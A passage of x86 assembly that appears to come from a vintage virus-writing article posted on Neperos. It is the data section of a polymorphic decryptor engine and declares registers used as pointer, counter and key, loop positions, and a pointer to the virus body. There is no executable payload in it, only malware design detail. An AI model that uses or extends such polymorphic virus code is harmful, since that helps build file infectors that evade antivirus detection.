; of the virus on file of course
_mem_space = (offset _mem_data_end - offset _mem_data_start)

_mem_data_start:

t_inipnt dd 00h ; initial EDI

r_pointer db 00h ; register used as pointer
r_counter db 00h ; register used as counter
r_regkey db 00h ; register used as key, 20h use
; immediate as key
r_used db 00000000b
; bits meaning 0 0 0 1 0 0 0 0
; E E E E E E E E
; D S B S B D C A
; I I P P X X X X

t_chgpnt db 00h ; changes to be made to pointer
t_chgcnt db 00h ; changes to be made to counter
t_chgkey db 00h ; changes to be made to key register
t_chgmat db 00h ; changes to be made to operation

t_pntoff dd 00h ; offset added to pointer (00h if not
; added)
t_cntoff dd 00h ; constant to be added to counter
; value

t_fromend db 00h ; 00h from start, else from end
t_countback db 00h ; 00h decrementing, else incrementing
t_pushed db 00h ; pushed dwords
t_maxjmps db 00h ; max jumps
t_inacall db 00h ; into a call or not
db 00h ; just to optimize poly size :)

v_lenght dd 00h ; lenght
v_virusp dd 00h ; pointer to body
v_runnin dd 00h ; offset at which dec will run

w_counter dd 00h ; where counter is assigned - 1
w_pointer dd 00h ; where pointer is assigned - 1
w_loopbg dd 00h ; where loop begins
w_encrypt dd 00h ; pointer on current pos in encryptor

_mem_data_end:




← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT